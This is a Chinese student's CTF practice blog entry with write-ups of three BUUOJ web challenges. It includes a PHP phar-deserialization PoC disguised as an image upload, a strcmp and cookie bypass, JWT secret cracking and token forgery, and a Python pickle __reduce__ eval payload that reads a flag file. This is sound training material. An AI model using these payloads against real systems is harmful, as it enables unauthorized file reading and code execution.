CTF打卡~Day10

发布于 2020-04-28  656 次阅读


啊啊啊今天课好多下午还有培训讲座,结果上午的课没咋听也没写笔记,题又没写多少

[CISCN2019 华北赛区 Day1 Web1]Dropbox

这题有点意思。

在注册一个账号以后,可以直接上传、下载文件,仅限后缀为图片的文件。

下载文件通过BurpSuite抓包发现是POST Filename给download.php,而且可以通过改包来实现任意文件下载(flag不行)

注意一下,这里上传的文件的目录与php的目录并不在一起,index.php等文件在../../下。

下载后:

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

delete.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        //此处省略对审计无用的代码
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

老规矩,审计代码。发现似乎存在class.php中存在反序列化魔术方法可以调用。而且在download.php和delete.php中都有使用close()方法,而其内部有get_file_contents()函数可供利用。

这里直接使用反序列化似乎不太可行。但是这题可以上传文件,意味着可以使用Phar协议。phar协议的详细介绍就看参考链接了。这里的话我们只需要知道Phar在加载的时候会进行反序列化就行了。

构造POP链(这里直接画图了,简单明了)

poc

<?php
class User {
    public $db;
    public function __construct() {
        $this->db = new FileList();
    }
}
class File{
    public $filename='/flag.txt';
}
class FileList {
    private $files;
    public function __construct(){
        $this->files=array(new File());
    }
}
$a = new User();
@unlink("out.phar");
$phar = new Phar("out.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("nmsl.txt", "nmsl");
$phar->stopBuffering();
?>

之后生产的phar文件重命名为.jpg文件

抓delete.php,改filename,即可返回flag

这里download.php和delete.php都使用了close(),但是不能使用download.php的原因是其设置了open_basedir

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

导致了不能使用phar访问根目录的内容~~

Ref: https://www.jianshu.com/p/5b91e0b7f3ac

[极客大挑战 2019]BuyFlag

这个比较简单,用bs改cookie里的user=1,然后利用php 5.3以下版本的strcmp()弱比较漏洞(例如传入数组等其不支持的数据格式的时候直接返回0),就可以拿到flag了

[CISCN2019 华北赛区 Day1 Web2]ikun

不得不说CISCN的题真的都剧毒啊...

不过这题一打开直接给👴整笑了,真是 官 方 恶 臭

这题涉及到了jwt,python pickle,python的“序列化”...一个个都是知识盲区,基本上都是被各位大佬的wp拖着下来的(嗐

首先注册账号,他说要买lv6,但是在商城里面找了好几页都没有,于是跑脚本

import requests
url="http://b41a6b9b-4b7f-4141-860f-a7eab0fc40b2.node3.buuoj.cn/shop?page="
for i in range(0,800):
    print("Now Loading page:"+str(i))
    r=requests.get(url+str(i))
    if 'lv6.png' in r.text:
       print (i)
       break

找到在181页

直接购买,价格太贵

于是用burpsuite截包,发现可以直接更改价格和折数,所以直接把折扣改成0.00000001,购买成功。

但是下一个页面提示只有管理员可以查看。这里抓包发现服务端使用的不是session验证而是jwt验证( https://www.jianshu.com/p/576dbf44b2ae )也就是将token存储在客户端。

我们用工具( https://github.com/brendan-rius/c-jwt-cracker )将现有的jwt解密,得到密码1Kun

之后再到 https://jwt.io/ 上把用户名改成admin,重新加密,拿到burp里面替换。

下一步就很蛋疼了,查看源码发现“跑路程序员”留下的好东西

下载源码,发现网站时tornado框架编写的。

找到了Admin.py

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

p = pickle.loads(urllib.unquote(become))里的pickle.loads类似于反序列化,同样也会执行魔术方法。在py这里的魔术方法就是__reduce__(self)

reduce它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。
这个元组包含2到5个元素,其中包括:
一个可调用的对象,用于重建对象时调用;
一个参数元素,供那个可调用对象使用;
被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选)

这里我们就可以考虑调用eval来读取flag。

import urllib
import pickle
class x(object): #必须要继承object
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))#根据上面的__reduce__()返回要求,eval是可调用的对象,open('/flag.txt','r').read()是对象引用的参数(需要eval的命令)
d = pickle.dumps(x())
print ((urllib.quote(d)))#这里的quote只有py2才有

将生成的序列化后的字符串在截包的时候赋给become就可以拿到flag了

Ref: https://www.cnblogs.com/Cl0ud/p/12177062.html

https://www.cnblogs.com/wangtanzhi/p/12178311.html


啊啊啊今天没有写re题

嗐,感觉自己还是太菜了,网鼎杯不知道会不会杯虐惨

图片知乎@Cytosine